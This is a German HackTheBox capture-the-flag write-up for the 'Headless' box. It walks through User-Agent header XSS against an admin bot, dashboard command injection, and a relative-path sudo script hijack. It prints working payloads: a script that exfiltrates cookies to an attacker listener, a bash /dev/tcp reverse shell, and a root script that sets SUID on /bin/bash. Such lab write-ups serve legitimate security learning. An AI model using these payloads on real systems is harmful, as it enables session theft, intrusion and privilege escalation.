// HackTheBox

Headless

XSS über den User-Agent-Header, Headless-Browser-Bot des Admins → Skript-Hijack über relativen Pfad

HackTheBoxLeichtLinux 20. Juli 2026 5 Min. Lesezeit

Aufklärung

nmap fand zwei offene Ports:

Port Dienst
22 ssh — OpenSSH 9.2p1
5000 http — Werkzeug 2.2.2, Python 3.11.2

Werkzeug ist der Entwicklungsserver von Flask, Port 5000 ist also eine Python-Flask-App. Sie liefert eine “Under Construction”-Startseite aus, deren einziger echter Link auf /support zeigt. Ein vollständiger Portscan bestätigte, dass sonst nichts lauscht — die gesamte Box muss also über diese eine Web-App erreicht werden.

Interessant ist das Cookie. Jeder Besucher erhält ein is_admin-Cookie im itsdangerous-Format — <b64 payload>.<signature>, z. B. is_admin=InVzZXIi.sig, wobei die Payload base64-dekodiert den JSON-String "user" ergibt. (itsdangerous ist die Bibliothek, mit der Flask Cookies signiert: der Wert wird im Klartext gespeichert und durch eine HMAC-Signatur geschützt, nicht verschlüsselt.) Die Seite /dashboard verlangt, dass dieser dekodierte Wert "admin" ist; sie prüft das selbst und liefert abort(401) ohne WWW-Authenticate-Header zurück — eine selbstgebaute Rollenprüfung, keine echte HTTP-Basic-Auth.

Der naheliegende Schritt ist, die Payload auf "admin" zu ändern und neu zu signieren, doch dafür braucht man den geheimen Schlüssel des Servers. Ändert man die Payload ohne gültige Signatur, löst das eine unbehandelte Ausnahme (HTTP 500) aus, was bestätigt, dass die Signatur tatsächlich geprüft wird. Das Cracken des itsdangerous-Secrets offline gegen rockyou.txt (14,3M Kandidaten, ~3 Min) und eine kuratierte Wortliste (JWT-Secrets plus gängige Passwörter, ~116k) blieben beide erfolglos — ein eigenes Admin-Cookie zu fälschen ist also nicht praktikabel. Wir müssen stattdessen ein echtes stehlen — und irgendetwas auf dieser Box muss ein Admin-Cookie besitzen, das wir stehlen können.

Erstzugang — XSS über den User-Agent-Header, Headless-Browser-Bot des Admins

/support ist ein Ticket-Formular (fname / lname / email / phone / message). Übermittelt man ein HTML-Tag im Feld message, wird das Ticket für die “header analysis” durch einen Admin-Prozess markiert — einen Headless-Browser-Bot (daher der Name der Box), der markierte Tickets prüft. Entscheidend: Wenn er eines prüft, rendert er den User-Agent-Header der einreichenden Anfrage unescaped in eine Seite zurück. Dieser Header, nicht die sichtbaren Formularfelder, ist der eigentliche Injektionspunkt: Das message-Feld dient nur dazu, das Ticket markieren zu lassen, damit der Bot es ansieht.

Der Angriff ist also Cross-Site-Scripting (XSS), zugestellt über einen Request-Header. Wir senden ein POST an /support mit einem HTML-Tag in message, um die Markierung auszulösen, und ein Script-Tag im User-Agent-Header, das die eigenen Cookies des Bots an einen von uns kontrollierten Listener exfiltriert:

User-Agent: <script>var i=new Image();i.src="http://<LHOST>:8000/steal?c="+document.cookie;</script>
message: <b>please review this ticket</b>

Da is_admin ohne das HttpOnly-Flag gesetzt wurde, kann JavaScript es über document.cookie lesen — genau dieses Flag soll das verhindern, und sein Fehlen ist der Bug, der das XSS auszahlen lässt. Der Bot kam innerhalb weniger Minuten vorbei, und sein legitim signiertes Admin-Cookie (is_admin=ImFkbWluIg.<sig>) landete auf unserem HTTP-Listener. Setzt man dieses Cookie im eigenen Browser, schaltet das /dashboard frei.

Command Injection im Dashboard

/dashboard (nun mit dem gestohlenen Admin-Cookie erreichbar) ist ein Formular “generate website health report” mit einem einzigen date-Feld. Dieser Wert wird per POST übermittelt und serverseitig ohne jede Bereinigung direkt in ein Shell-Kommando interpoliert — alles, was wir nach einem ; anhängen, läuft also auf dem Host. Wir nutzen das, um eine Reverse-Shell zu uns zurück zu feuern:

$ date=2023-09-15; setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &

Ein Fallstrick ist erwähnenswert: Eine einfache nc -lvnp-Reverse-Shell nimmt die Verbindung zwar an, doch nc liest EOF von seinem eigenen geerbten stdin (was auch immer es gestartet hat), sobald diese Invocation zurückkehrt, und die Remote-Bash interpretiert dieses EOF als exit, was die Session sofort beendet. Der Fix besteht darin, ncs stdin über ein FIFO zu entkoppeln, sodass es nie EOF sieht — dasselbe Muster mit verwaisten Sessions wie bei der Bedside-Box:

$ mkfifo nc_in; tail -f nc_in | nc -lvnp <port> -k

Kommandos werden dann mit echo "<cmd>" > nc_in eingespeist, und tail -f hält die Pipe für immer offen. Die Shell landete als dvir.

Rechteausweitung — Skript-Hijack über relativen Pfad

Prüfen, was dvir als root ausführen darf:

sudo -l(ALL) NOPASSWD: /usr/bin/syscheck. Dieses Skript ist nur für Root (es beginnt mit einer EUID -ne 0 => exit 1-Prüfung, ist also für die Ausführung via sudo gedacht) und sein Rumpf enthält:

if ! pgrep -x "initdb.sh" &>/dev/null; then
  ./initdb.sh 2>/dev/null   # <-- relative path, no ./ dir pinning
fi

Der Bug ist das bloße ./initdb.sh: Es ist ein relativer Pfad, welche Datei also tatsächlich läuft, hängt komplett vom Arbeitsverzeichnis ab, aus dem syscheck aufgerufen wird. Die Mail von dvir (/var/mail/dvir) buchstabiert das nahezu aus — eine Nachricht über ein “new system check script” und ein Wink, dass “we’re still waiting on you to create the database initialization script.” Die eigene Fiktion der Box zeigt auf die fehlende Datei, die wir liefern dürfen.

Wir legen also unser eigenes initdb.sh (ausführbar) in ein von uns kontrolliertes Verzeichnis und führen dann das sudo-erlaubte Skript aus diesem Verzeichnis aus, sodass sein relatives ./initdb.sh auf unseres auflöst und als root ausgeführt wird:

#!/bin/bash
cp /root/root.txt /tmp/.rootflag_out 2>/dev/null; chmod 644 /tmp/.rootflag_out
chmod u+s /bin/bash

Der Aufruf sudo /usr/bin/syscheck aus diesem Verzeichnis kopiert root.txt heraus und setzt zur Sicherheit noch das SUID-Bit auf /bin/bash, sodass bash -p eine Root-Shell liefert.

Erkenntnisse

  • Der Boxname war ein legitimer Hinweis: “Headless” = ein Admin-Headless-Browser-Bot überprüft markierte Support-Tickets, und dessen Cookie (kein HttpOnly) ist der eigentliche Preis.
  • Das message-Feld markiert lediglich ein Ticket zur Überprüfung; der echte Unescaped-Render- Injektionspunkt war ein Request-Header (User-Agent), kein Formularfeld — es lohnt sich, Header als XSS-Vektoren zu prüfen, nicht nur Body-Parameter, bei jedem “flag for review”- artigen Feature.
  • nc-Reverse-Shells sterben still bei EOF von ihrem eigenen geerbten stdin, sofern nicht entkoppelt (FIFO + tail -f) — kostete hier echte Zeit durch wiederholte “verbindet sich, beendet sich dann sofort”-Verwirrung.
  • Skriptausführung über relativen Pfad innerhalb eines sudo-erlaubten Skripts ist eine klassische und schnelle Rechteausweitung, sobald man sie gefunden hat — prüfe den Quellcode jedes sudo-erlaubten Skripts auf blanke ./foo oder unqualifizierte Kommandonamen.
← Alle Writeups